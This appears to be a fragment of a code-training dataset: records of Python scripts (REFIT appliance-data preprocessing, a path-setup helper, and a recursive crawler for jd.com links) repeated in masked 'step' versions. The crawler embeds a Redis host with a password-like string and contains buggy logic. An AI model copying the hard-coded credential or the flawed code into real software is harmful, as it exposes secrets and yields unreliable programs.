range(len(appliance_data)):\n max = np.max(appliance_data[i])\n if max < 0.05:\n print(max)\n new_app.append(temp)\n else:\n new_app.append(appliance_data[i])\n np.save(os.path.join(base_path, 'appliance_test_512.npy'), new_app)\n\n\ndef separate_positive_negative(appliance_name, thres, peak):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n main_data = np.load(os.path.join(base_path, 'main_train.npy'))\n count = 0\n appliance_positive = []\n appliance_negative = []\n main_positive = []\n main_negative = []\n appliance_temp = [0] * 1024\n\n for i in range(len(appliance_data)):\n sum = 0\n max = 0\n for j in appliance_data[i]:\n sum += int(j)\n for j in range(512):\n if int(appliance_data[i][j+256]) > max:\n max = int(appliance_data[i][j+256])\n if max < peak:\n sum = 0\n if sum > thres:\n appliance_positive.append(appliance_data[i])\n main_positive.append(main_data[i])\n else:\n appliance_negative.append(appliance_temp)\n main_negative.append(main_data[i])\n if i % 1000 == 0:\n print('Processing: %f' % (i/len(appliance_data)))\n\n np.save(os.path.join(base_path, 'appliance_positive.npy'), appliance_positive)\n np.save(os.path.join(base_path, 'main_positive.npy'), main_positive)\n np.save(os.path.join(base_path, 'appliance_negative.npy'), appliance_negative)\n np.save(os.path.join(base_path, 'main_negative.npy'), main_negative)\n\n\ndef generate_balanced_dataset(appliance_name, negative_ratio):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_positive = list(np.load(os.path.join(base_path, 'appliance_positive.npy')))\n appliance_negative = np.load(os.path.join(base_path, 'appliance_negative.npy'))\n main_positive = list(np.load(os.path.join(base_path, 'main_positive.npy')))\n main_negative = np.load(os.path.join(base_path, 'main_negative.npy'))\n print('Data load complete!')\n\n positive_length = len(appliance_positive)\n negative_length = len(appliance_negative)\n print('Postive length: %d negative length: %d' % (positive_length, negative_length))\n for i in range(int(positive_length*negative_ratio)):\n r = int(random.random()*negative_length)\n appliance_positive.append(appliance_negative[r])\n main_positive.append(main_negative[r])\n print('Data generate complete! length: %d' % (len(appliance_positive)))\n\n index = np.linspace(0, len(appliance_positive)-1, len(appliance_positive)).astype(int)\n random.shuffle(index)\n appliance_new = []\n main_new = []\n\n for i in index:\n appliance_new.append(appliance_positive[i])\n main_new.append(main_positive[i])\n print('Data shuffle complete!')\n\n np.save(os.path.join(base_path, 'appliance_train_balanced.npy'), appliance_new)\n np.save(os.path.join(base_path, 'main_train_balanced.npy'), main_new)\n print('Data save complete!')\n\n\ndef shrink(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train_balanced.npy'))\n main_data = np.load(os.path.join(base_path, 'main_train_balanced.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j])/scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j])/scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n\n np.save(os.path.join(base_path, 'appliance_train_%d.npy' % scale), appliance_new)\n np.save(os.path.join(base_path, 'main_train_%d.npy' % scale), main_new)\n\n\ndef shrink_validation(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_validation.npy'))\n main_data = np.load(os.path.join(base_path, 'main_validation.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j])/scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j])/scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n\n np.save(os.path.join(base_path, 'appliance_validation_%d.npy' % scale), appliance_new)\n np.save(os.path.join(base_path, 'main_validation_%d.npy' % scale), main_new)\n\n\ndef appliance_1024to512(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_train = np.load(os.path.join(base_path, 'appliance_train_1000.npy'))\n appliance_validation = np.load(os.path.join(base_path, 'appliance_validation_1000.npy'))\n appliance_test = np.load(os.path.join(base_path, 'appliance_test_1000.npy'))\n at_new = []\n av_new = []\n ae_new = []\n\n for i in range(len(appliance_train)):\n at_temp = []\n for j in range(256, 768):\n at_temp.append(float(appliance_train[i][j]))\n at_new.append(at_temp)\n for i in range(len(appliance_validation)):\n av_temp = []\n for j in range(256, 768):\n av_temp.append(float(appliance_validation[i][j]))\n av_new.append(av_temp)\n for i in range(len(appliance_test)):\n ae_temp = []\n for j in range(256, 768):\n ae_temp.append(float(appliance_test[i][j]))\n ae_new.append(ae_temp)\n\n np.save(os.path.join(base_path, 'appliance_train_512.npy'), at_new)\n np.save(os.path.join(base_path, 'appliance_validation_512.npy'), av_new)\n np.save(os.path.join(base_path, 'appliance_test_512.npy'), ae_new)\n\n\ndef shrink_test(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_test.npy'))\n main_data = np.load(os.path.join(base_path, 'main_test.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j])/scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j])/scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n\n np.save(os.path.join(base_path, 'appliance_test_1000.npy'), appliance_new)\n np.save(os.path.join(base_path, 'main_test_1000.npy'), main_new)\n\n\nif __name__ == '__main__':\n appliance_name = 'WashingMachine'\n separate(appliance_name)\n data_integration(appliance_name)\n train_validation_split(appliance_name)\n separate_positive_negative(appliance_name, 1500, 20)\n generate_balanced_dataset(appliance_name, 1)\n shrink(appliance_name, 1000)\n shrink_validation(appliance_name, 1000)\n shrink_test(appliance_name, 1000)\n appliance_1024to512(appliance_name)\n # test_process(appliance_name)\n print('Process complete!!!')\n", "step-ids": [ 14, 15, 22, 23, 26 ] }
[ 14, 15, 22, 23, 26 ]
def __handle_import(): import sys import os cur_path = os.path.dirname(os.path.abspath(os.path.expanduser(__file__))) lib_path = os.path.join(cur_path, '../../build/lib/') sys.path.append(lib_path) proto_path = os.path.join(cur_path, '../../build/protobuf_python/') sys.path.append(proto_path) __handle_import()
normal
{ "blob_id": "24595979199199ecc6bc6f3a26e0db418def8b78", "index": 9675, "step-1": "<mask token>\n", "step-2": "def __handle_import():\n import sys\n import os\n cur_path = os.path.dirname(os.path.abspath(os.path.expanduser(__file__)))\n lib_path = os.path.join(cur_path, '../../build/lib/')\n sys.path.append(lib_path)\n proto_path = os.path.join(cur_path, '../../build/protobuf_python/')\n sys.path.append(proto_path)\n\n\n<mask token>\n", "step-3": "def __handle_import():\n import sys\n import os\n cur_path = os.path.dirname(os.path.abspath(os.path.expanduser(__file__)))\n lib_path = os.path.join(cur_path, '../../build/lib/')\n sys.path.append(lib_path)\n proto_path = os.path.join(cur_path, '../../build/protobuf_python/')\n sys.path.append(proto_path)\n\n\n__handle_import()\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
<|reserved_special_token_0|> def con(): pool = redis.ConnectionPool(host='ap2.jd.local', port=5360, password= '/redis/cluster/1:1803528818953446384') r = redis.StrictRedis(connection_pool=pool) r.set('foo', 'bar') print(r.get('foo')) def findUrl(url): html = getHtml(url) x = isJd(html) print(x) if x != 0: reg = ( '((http|ftp|https):\\/\\/[\\w\\-_]+(\\.[\\w\\-_]+)+([\\w\\-\\.,@?^=%&amp;:/~\\+#]*[\\w\\-\\@?^=%&amp;/~\\+#])?)' ) imgre = re.compile(reg) imglist = re.findall(imgre, html) for imgurl in imglist: toUrl = imgurl[0] print(toUrl) if isNotImg(toUrl) and not urlAborted(toUrl): try: x += findUrl(toUrl) except: print('cannot add to x!') return x def isJd(html): reg = 'jd.com' hasReg = re.compile(reg) list_length = len(re.findall(hasReg, html)) return list_length def isNotImg(url): reg = '.+\\.jpg|jpeg|gif|png|bmp|ico|mpg|mp4|css|js' hasReg = re.compile(reg) list_length = len(re.findall(hasReg, url)) if list_length == 0: return True else: return False <|reserved_special_token_0|> def getHtml(url): global response, html try: request = urllib.request.Request(url) request.add_header('Content-Type', 'text/html; charset=utf-8') request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0' ) response = urllib.request.urlopen(request, timeout=5) except HTTPError as e: print('Error code:', e.code) except URLError as e: print('Reason', e.reason) except: print('Error unknown') if response.getcode() == 200: try: reg = 'charset=(.*)' hasReg = re.compile(reg) code = re.findall(hasReg, response.headers['Content-Type']) html = response.read().decode(code[0]) except UnicodeDecodeError as e: print('Reason', e.reason) else: html = '' return html <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def con(): pool = redis.ConnectionPool(host='ap2.jd.local', port=5360, password= '/redis/cluster/1:1803528818953446384') r = redis.StrictRedis(connection_pool=pool) r.set('foo', 'bar') print(r.get('foo')) def findUrl(url): html = getHtml(url) x = isJd(html) print(x) if x != 0: reg = ( '((http|ftp|https):\\/\\/[\\w\\-_]+(\\.[\\w\\-_]+)+([\\w\\-\\.,@?^=%&amp;:/~\\+#]*[\\w\\-\\@?^=%&amp;/~\\+#])?)' ) imgre = re.compile(reg) imglist = re.findall(imgre, html) for imgurl in imglist: toUrl = imgurl[0] print(toUrl) if isNotImg(toUrl) and not urlAborted(toUrl): try: x += findUrl(toUrl) except: print('cannot add to x!') return x def isJd(html): reg = 'jd.com' hasReg = re.compile(reg) list_length = len(re.findall(hasReg, html)) return list_length def isNotImg(url): reg = '.+\\.jpg|jpeg|gif|png|bmp|ico|mpg|mp4|css|js' hasReg = re.compile(reg) list_length = len(re.findall(hasReg, url)) if list_length == 0: return True else: return False def urlAborted(url): list = ['hdpreload', 'hao123', 'facebook', 'weibo', 's9w', 'w3', 'jd', 'joybuy', 'kela'] for key in list: if url.find(key) != -1: return True return False def getHtml(url): global response, html try: request = urllib.request.Request(url) request.add_header('Content-Type', 'text/html; charset=utf-8') request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0' ) response = urllib.request.urlopen(request, timeout=5) except HTTPError as e: print('Error code:', e.code) except URLError as e: print('Reason', e.reason) except: print('Error unknown') if response.getcode() == 200: try: reg = 'charset=(.*)' hasReg = re.compile(reg) code = re.findall(hasReg, response.headers['Content-Type']) html = response.read().decode(code[0]) except UnicodeDecodeError as e: print('Reason', e.reason) else: html = '' return html <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def con(): pool = redis.ConnectionPool(host='ap2.jd.local', port=5360, password= '/redis/cluster/1:1803528818953446384') r = redis.StrictRedis(connection_pool=pool) r.set('foo', 'bar') print(r.get('foo')) def findUrl(url): html = getHtml(url) x = isJd(html) print(x) if x != 0: reg = ( '((http|ftp|https):\\/\\/[\\w\\-_]+(\\.[\\w\\-_]+)+([\\w\\-\\.,@?^=%&amp;:/~\\+#]*[\\w\\-\\@?^=%&amp;/~\\+#])?)' ) imgre = re.compile(reg) imglist = re.findall(imgre, html) for imgurl in imglist: toUrl = imgurl[0] print(toUrl) if isNotImg(toUrl) and not urlAborted(toUrl): try: x += findUrl(toUrl) except: print('cannot add to x!') return x def isJd(html): reg = 'jd.com' hasReg = re.compile(reg) list_length = len(re.findall(hasReg, html)) return list_length def isNotImg(url): reg = '.+\\.jpg|jpeg|gif|png|bmp|ico|mpg|mp4|css|js' hasReg = re.compile(reg) list_length = len(re.findall(hasReg, url)) if list_length == 0: return True else: return False def urlAborted(url): list = ['hdpreload', 'hao123', 'facebook', 'weibo', 's9w', 'w3', 'jd', 'joybuy', 'kela'] for key in list: if url.find(key) != -1: return True return False def getHtml(url): global response, html try: request = urllib.request.Request(url) request.add_header('Content-Type', 'text/html; charset=utf-8') request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0' ) response = urllib.request.urlopen(request, timeout=5) except HTTPError as e: print('Error code:', e.code) except URLError as e: print('Reason', e.reason) except: print('Error unknown') if response.getcode() == 200: try: reg = 'charset=(.*)' hasReg = re.compile(reg) code = re.findall(hasReg, response.headers['Content-Type']) html = response.read().decode(code[0]) except UnicodeDecodeError as e: print('Reason', e.reason) else: html = '' return html print(findUrl('http://www.baidu.com/baidu?wd=jd&tn=monline_dg&ie=utf-8')) <|reserved_special_token_1|> import re import urllib.request import sys import redis from urllib.error import URLError, HTTPError import urllib.parse def con(): pool = redis.ConnectionPool(host='ap2.jd.local', port=5360, password= '/redis/cluster/1:1803528818953446384') r = redis.StrictRedis(connection_pool=pool) r.set('foo', 'bar') print(r.get('foo')) def findUrl(url): html = getHtml(url) x = isJd(html) print(x) if x != 0: reg = ( '((http|ftp|https):\\/\\/[\\w\\-_]+(\\.[\\w\\-_]+)+([\\w\\-\\.,@?^=%&amp;:/~\\+#]*[\\w\\-\\@?^=%&amp;/~\\+#])?)' ) imgre = re.compile(reg) imglist = re.findall(imgre, html) for imgurl in imglist: toUrl = imgurl[0] print(toUrl) if isNotImg(toUrl) and not urlAborted(toUrl): try: x += findUrl(toUrl) except: print('cannot add to x!') return x def isJd(html): reg = 'jd.com' hasReg = re.compile(reg) list_length = len(re.findall(hasReg, html)) return list_length def isNotImg(url): reg = '.+\\.jpg|jpeg|gif|png|bmp|ico|mpg|mp4|css|js' hasReg = re.compile(reg) list_length = len(re.findall(hasReg, url)) if list_length == 0: return True else: return False def urlAborted(url): list = ['hdpreload', 'hao123', 'facebook', 'weibo', 's9w', 'w3', 'jd', 'joybuy', 'kela'] for key in list: if url.find(key) != -1: return True return False def getHtml(url): global response, html try: request = urllib.request.Request(url) request.add_header('Content-Type', 'text/html; charset=utf-8') request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0' ) response = urllib.request.urlopen(request, timeout=5) except HTTPError as e: print('Error code:', e.code) except URLError as e: print('Reason', e.reason) except: print('Error unknown') if response.getcode() == 200: try: reg = 'charset=(.*)' hasReg = re.compile(reg) code = re.findall(hasReg, response.headers['Content-Type']) html = response.read().decode(code[0]) except UnicodeDecodeError as e: print('Reason', e.reason) else: html = '' return html print(findUrl('http://www.baidu.com/baidu?wd=jd&tn=monline_dg&ie=utf-8')) <|reserved_special_token_1|> #####coding=utf-8 import re import urllib.request import sys import redis from urllib.error import URLError, HTTPError import urllib.parse # /redis/cluster/23:1417694197540 def con(): pool = redis.ConnectionPool(host='ap2.jd.local', port=5360, password='/redis/cluster/1:1803528818953446384') r = redis.StrictRedis(connection_pool=pool) r.set('foo', 'bar') print(r.get('foo')) # def findUrl(html): # reg = r'item.jd.com/(\w+)' # imgre = re.compile(reg) # imglist = re.findall(imgre, html) # x = 0 # print(imglist) # for imgurl in imglist: # # imgurl = "http://kill.jd.com/" + imgurl # # page = urllib.request.urlopen(imgurl) # # response = page.read().decode('utf-8') # # print(response) # x += 1 # print(x) # # # def getHtml(url): # page = urllib.request.urlopen(url) # html = page.read().decode('utf-8') # return html def findUrl(url): html = getHtml(url) x = isJd(html) print(x) if (x != 0): reg = r"((http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&amp;:/~\+#]*[\w\-\@?^=%&amp;/~\+#])?)" imgre = re.compile(reg) imglist = re.findall(imgre, html) # print(imglist) for imgurl in imglist: toUrl = imgurl[0] print(toUrl) if (isNotImg(toUrl) and not urlAborted(toUrl)): try: x += findUrl(toUrl) except: print("cannot add to x!") return x def isJd(html): reg = r'jd.com' hasReg = re.compile(reg) list_length = len(re.findall(hasReg, html)) return list_length def isNotImg(url): reg = r'.+\.jpg|jpeg|gif|png|bmp|ico|mpg|mp4|css|js' hasReg = re.compile(reg) list_length = len(re.findall(hasReg, url)) if list_length == 0: return True else: return False def urlAborted(url): list = ['hdpreload', 'hao123', 'facebook', 'weibo', 's9w', 'w3', 'jd', 'joybuy', 'kela'] for key in list: if url.find(key) != -1: return True return False def getHtml(url): global response, html try: request = urllib.request.Request(url) # open=urlopen response.getcode() header=response.info() request.add_header('Content-Type', 'text/html; charset=utf-8') request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0') response = urllib.request.urlopen(request, timeout=5) except HTTPError as e: print('Error code:', e.code) except URLError as e: print('Reason', e.reason) except: print('Error unknown') if (response.getcode() == 200): try: reg = r'charset=(.*)' hasReg = re.compile(reg) code = re.findall(hasReg, response.headers['Content-Type']) html = response.read().decode(code[0]) except UnicodeDecodeError as e: print('Reason', e.reason) else: html = "" return html # html = getHtml("http://www.baidu.com/baidu?wd=jd&tn=monline_dg&ie=utf-8") print(findUrl("http://www.baidu.com/baidu?wd=jd&tn=monline_dg&ie=utf-8")) # print(findUrl("http://list.tmall.com/search_product.htm?q=jd.com&type=p&vmarket=&spm=875.7931836%2FB.a2227oh.d100&from=mallfp..pc_1_searchbutton"))
flexible
{ "blob_id": "4863581a1a557186ceee8d544d1a996082edcf2c", "index": 4644, "step-1": "<mask token>\n\n\ndef con():\n pool = redis.ConnectionPool(host='ap2.jd.local', port=5360, password=\n '/redis/cluster/1:1803528818953446384')\n r = redis.StrictRedis(connection_pool=pool)\n r.set('foo', 'bar')\n print(r.get('foo'))\n\n\ndef findUrl(url):\n html = getHtml(url)\n x = isJd(html)\n print(x)\n if x != 0:\n reg = (\n '((http|ftp|https):\\\\/\\\\/[\\\\w\\\\-_]+(\\\\.[\\\\w\\\\-_]+)+([\\\\w\\\\-\\\\.,@?^=%&amp;:/~\\\\+#]*[\\\\w\\\\-\\\\@?^=%&amp;/~\\\\+#])?)'\n )\n imgre = re.compile(reg)\n imglist = re.findall(imgre, html)\n for imgurl in imglist:\n toUrl = imgurl[0]\n print(toUrl)\n if isNotImg(toUrl) and not urlAborted(toUrl):\n try:\n x += findUrl(toUrl)\n except:\n print('cannot add to x!')\n return x\n\n\ndef isJd(html):\n reg = 'jd.com'\n hasReg = re.compile(reg)\n list_length = len(re.findall(hasReg, html))\n return list_length\n\n\ndef isNotImg(url):\n reg = '.+\\\\.jpg|jpeg|gif|png|bmp|ico|mpg|mp4|css|js'\n hasReg = re.compile(reg)\n list_length = len(re.findall(hasReg, url))\n if list_length == 0:\n return True\n else:\n return False\n\n\n<mask token>\n\n\ndef getHtml(url):\n global response, html\n try:\n request = urllib.request.Request(url)\n request.add_header('Content-Type', 'text/html; charset=utf-8')\n request.add_header('User-Agent',\n 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0'\n )\n response = urllib.request.urlopen(request, timeout=5)\n except HTTPError as e:\n print('Error code:', e.code)\n except URLError as e:\n print('Reason', e.reason)\n except:\n print('Error unknown')\n if response.getcode() == 200:\n try:\n reg = 'charset=(.*)'\n hasReg = re.compile(reg)\n code = re.findall(hasReg, response.headers['Content-Type'])\n html = response.read().decode(code[0])\n except UnicodeDecodeError as e:\n print('Reason', e.reason)\n else:\n html = ''\n return html\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef con():\n pool = redis.ConnectionPool(host='ap2.jd.local', port=5360, password=\n '/redis/cluster/1:1803528818953446384')\n r = redis.StrictRedis(connection_pool=pool)\n r.set('foo', 'bar')\n print(r.get('foo'))\n\n\ndef findUrl(url):\n html = getHtml(url)\n x = isJd(html)\n print(x)\n if x != 0:\n reg = (\n '((http|ftp|https):\\\\/\\\\/[\\\\w\\\\-_]+(\\\\.[\\\\w\\\\-_]+)+([\\\\w\\\\-\\\\.,@?^=%&amp;:/~\\\\+#]*[\\\\w\\\\-\\\\@?^=%&amp;/~\\\\+#])?)'\n )\n imgre = re.compile(reg)\n imglist = re.findall(imgre, html)\n for imgurl in imglist:\n toUrl = imgurl[0]\n print(toUrl)\n if isNotImg(toUrl) and not urlAborted(toUrl):\n try:\n x += findUrl(toUrl)\n except:\n print('cannot add to x!')\n return x\n\n\ndef isJd(html):\n reg = 'jd.com'\n hasReg = re.compile(reg)\n list_length = len(re.findall(hasReg, html))\n return list_length\n\n\ndef isNotImg(url):\n reg = '.+\\\\.jpg|jpeg|gif|png|bmp|ico|mpg|mp4|css|js'\n hasReg = re.compile(reg)\n list_length = len(re.findall(hasReg, url))\n if list_length == 0:\n return True\n else:\n return False\n\n\ndef urlAborted(url):\n list = ['hdpreload', 'hao123', 'facebook', 'weibo', 's9w', 'w3', 'jd',\n 'joybuy', 'kela']\n for key in list:\n if url.find(key) != -1:\n return True\n return False\n\n\ndef getHtml(url):\n global response, html\n try:\n request = urllib.request.Request(url)\n request.add_header('Content-Type', 'text/html; charset=utf-8')\n request.add_header('User-Agent',\n 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0'\n )\n response = urllib.request.urlopen(request, timeout=5)\n except HTTPError as e:\n print('Error code:', e.code)\n except URLError as e:\n print('Reason', e.reason)\n except:\n print('Error unknown')\n if response.getcode() == 200:\n try:\n reg = 'charset=(.*)'\n hasReg = re.compile(reg)\n code = re.findall(hasReg, response.headers['Content-Type'])\n html = response.read().decode(code[0])\n except UnicodeDecodeError as e:\n print('Reason', e.reason)\n else:\n html = ''\n return html\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef con():\n pool = redis.ConnectionPool(host='ap2.jd.local', port=5360, password=\n '/redis/cluster/1:1803528818953446384')\n r = redis.StrictRedis(connection_pool=pool)\n r.set('foo', 'bar')\n print(r.get('foo'))\n\n\ndef findUrl(url):\n html = getHtml(url)\n x = isJd(html)\n print(x)\n if x != 0:\n reg = (\n '((http|ftp|https):\\\\/\\\\/[\\\\w\\\\-_]+(\\\\.[\\\\w\\\\-_]+)+([\\\\w\\\\-\\\\.,@?^=%&amp;:/~\\\\+#]*[\\\\w\\\\-\\\\@?^=%&amp;/~\\\\+#])?)'\n )\n imgre = re.compile(reg)\n imglist = re.findall(imgre, html)\n for imgurl in imglist:\n toUrl = imgurl[0]\n print(toUrl)\n if isNotImg(toUrl) and not urlAborted(toUrl):\n try:\n x += findUrl(toUrl)\n except:\n print('cannot add to x!')\n return x\n\n\ndef isJd(html):\n reg = 'jd.com'\n hasReg = re.compile(reg)\n list_length = len(re.findall(hasReg, html))\n return list_length\n\n\ndef isNotImg(url):\n reg = '.+\\\\.jpg|jpeg|gif|png|bmp|ico|mpg|mp4|css|js'\n hasReg = re.compile(reg)\n list_length = len(re.findall(hasReg, url))\n if list_length == 0:\n return True\n else:\n return False\n\n\ndef urlAborted(url):\n list = ['hdpreload', 'hao123', 'facebook', 'weibo', 's9w', 'w3', 'jd',\n 'joybuy', 'kela']\n for key in list:\n if url.find(key) != -1:\n return True\n return False\n\n\ndef getHtml(url):\n global response, html\n try:\n request = urllib.request.Request(url)\n request.add_header('Content-Type', 'text/html; charset=utf-8')\n request.add_header('User-Agent',\n 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0'\n )\n response = urllib.request.urlopen(request, timeout=5)\n except HTTPError as e:\n print('Error code:', e.code)\n except URLError as e:\n print('Reason', e.reason)\n except:\n print('Error unknown')\n if response.getcode() == 200:\n try:\n reg = 'charset=(.*)'\n hasReg = re.compile(reg)\n code = re.findall(hasReg, response.headers['Content-Type'])\n html = response.read().decode(code[0])\n except UnicodeDecodeError as e:\n print('Reason', e.reason)\n else:\n html = ''\n return html\n\n\nprint(findUrl('http://www.baidu.com/baidu?wd=jd&tn=monline_dg&ie=utf-8'))\n", "step-4": "import re\nimport urllib.request\nimport sys\nimport redis\nfrom urllib.error import URLError, HTTPError\nimport urllib.parse\n\n\ndef con():\n pool = redis.ConnectionPool(host='ap2.jd.local', port=5360, password=\n '/redis/cluster/1:1803528818953446384')\n r = redis.StrictRedis(connection_pool=pool)\n r.set('foo', 'bar')\n print(r.get('foo'))\n\n\ndef findUrl(url):\n html = getHtml(url)\n x = isJd(html)\n print(x)\n if x != 0:\n reg = (\n '((http|ftp|https):\\\\/\\\\/[\\\\w\\\\-_]+(\\\\.[\\\\w\\\\-_]+)+([\\\\w\\\\-\\\\.,@?^=%&amp;:/~\\\\+#]*[\\\\w\\\\-\\\\@?^=%&amp;/~\\\\+#])?)'\n )\n imgre = re.compile(reg)\n imglist = re.findall(imgre, html)\n for imgurl in imglist:\n toUrl = imgurl[0]\n print(toUrl)\n if isNotImg(toUrl) and not urlAborted(toUrl):\n try:\n x += findUrl(toUrl)\n except:\n print('cannot add to x!')\n return x\n\n\ndef isJd(html):\n reg = 'jd.com'\n hasReg = re.compile(reg)\n list_length = len(re.findall(hasReg, html))\n return list_length\n\n\ndef isNotImg(url):\n reg = '.+\\\\.jpg|jpeg|gif|png|bmp|ico|mpg|mp4|css|js'\n hasReg = re.compile(reg)\n list_length = len(re.findall(hasReg, url))\n if list_length == 0:\n return True\n else:\n return False\n\n\ndef urlAborted(url):\n list = ['hdpreload', 'hao123', 'facebook', 'weibo', 's9w', 'w3', 'jd',\n 'joybuy', 'kela']\n for key in list:\n if url.find(key) != -1:\n return True\n return False\n\n\ndef getHtml(url):\n global response, html\n try:\n request = urllib.request.Request(url)\n request.add_header('Content-Type', 'text/html; charset=utf-8')\n request.add_header('User-Agent',\n 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0'\n )\n response = urllib.request.urlopen(request, timeout=5)\n except HTTPError as e:\n print('Error code:', e.code)\n except URLError as e:\n print('Reason', e.reason)\n except:\n print('Error unknown')\n if response.getcode() == 200:\n try:\n reg = 'charset=(.*)'\n hasReg = re.compile(reg)\n code = re.findall(hasReg, response.headers['Content-Type'])\n html = response.read().decode(code[0])\n except UnicodeDecodeError as e:\n print('Reason', e.reason)\n else:\n html = ''\n return html\n\n\nprint(findUrl('http://www.baidu.com/baidu?wd=jd&tn=monline_dg&ie=utf-8'))\n", "step-5": "#####coding=utf-8\n\nimport re\nimport urllib.request\nimport sys\nimport redis\nfrom urllib.error import URLError, HTTPError\nimport urllib.parse\n\n\n# /redis/cluster/23:1417694197540\n\ndef con():\n pool = redis.ConnectionPool(host='ap2.jd.local', port=5360, password='/redis/cluster/1:1803528818953446384')\n r = redis.StrictRedis(connection_pool=pool)\n r.set('foo', 'bar')\n print(r.get('foo'))\n\n\n# def findUrl(html):\n# reg = r'item.jd.com/(\\w+)'\n# imgre = re.compile(reg)\n# imglist = re.findall(imgre, html)\n# x = 0\n# print(imglist)\n# for imgurl in imglist:\n# # imgurl = \"http://kill.jd.com/\" + imgurl\n# # page = urllib.request.urlopen(imgurl)\n# # response = page.read().decode('utf-8')\n# # print(response)\n# x += 1\n# print(x)\n#\n#\n# def getHtml(url):\n# page = urllib.request.urlopen(url)\n# html = page.read().decode('utf-8')\n# return html\n\ndef findUrl(url):\n html = getHtml(url)\n x = isJd(html)\n print(x)\n if (x != 0):\n reg = r\"((http|ftp|https):\\/\\/[\\w\\-_]+(\\.[\\w\\-_]+)+([\\w\\-\\.,@?^=%&amp;:/~\\+#]*[\\w\\-\\@?^=%&amp;/~\\+#])?)\"\n imgre = re.compile(reg)\n imglist = re.findall(imgre, html)\n # print(imglist)\n for imgurl in imglist:\n toUrl = imgurl[0]\n print(toUrl)\n if (isNotImg(toUrl) and not urlAborted(toUrl)):\n try:\n x += findUrl(toUrl)\n except:\n print(\"cannot add to x!\")\n return x\n\n\ndef isJd(html):\n reg = r'jd.com'\n hasReg = re.compile(reg)\n list_length = len(re.findall(hasReg, html))\n return list_length\n\n\ndef isNotImg(url):\n reg = r'.+\\.jpg|jpeg|gif|png|bmp|ico|mpg|mp4|css|js'\n hasReg = re.compile(reg)\n list_length = len(re.findall(hasReg, url))\n if list_length == 0:\n return True\n else:\n return False\n\n\ndef urlAborted(url):\n list = ['hdpreload', 'hao123', 'facebook', 'weibo', 's9w', 'w3', 'jd', 'joybuy', 'kela']\n for key in list:\n if url.find(key) != -1:\n return True\n return False\n\n\ndef getHtml(url):\n global response, html\n try:\n request = urllib.request.Request(url) # open=urlopen response.getcode() header=response.info()\n request.add_header('Content-Type', 'text/html; charset=utf-8')\n request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0')\n response = urllib.request.urlopen(request, timeout=5)\n except HTTPError as e:\n print('Error code:', e.code)\n except URLError as e:\n print('Reason', e.reason)\n except:\n print('Error unknown')\n if (response.getcode() == 200):\n try:\n reg = r'charset=(.*)'\n hasReg = re.compile(reg)\n code = re.findall(hasReg, response.headers['Content-Type'])\n html = response.read().decode(code[0])\n except UnicodeDecodeError as e:\n print('Reason', e.reason)\n else:\n html = \"\"\n return html\n\n\n# html = getHtml(\"http://www.baidu.com/baidu?wd=jd&tn=monline_dg&ie=utf-8\")\nprint(findUrl(\"http://www.baidu.com/baidu?wd=jd&tn=monline_dg&ie=utf-8\"))\n# print(findUrl(\"http://list.tmall.com/search_product.htm?q=jd.com&type=p&vmarket=&spm=875.7931836%2FB.a2227oh.d100&from=mallfp..pc_1_searchbutton\"))\n", "step-ids": [ 5, 6, 7, 8, 9 ] }
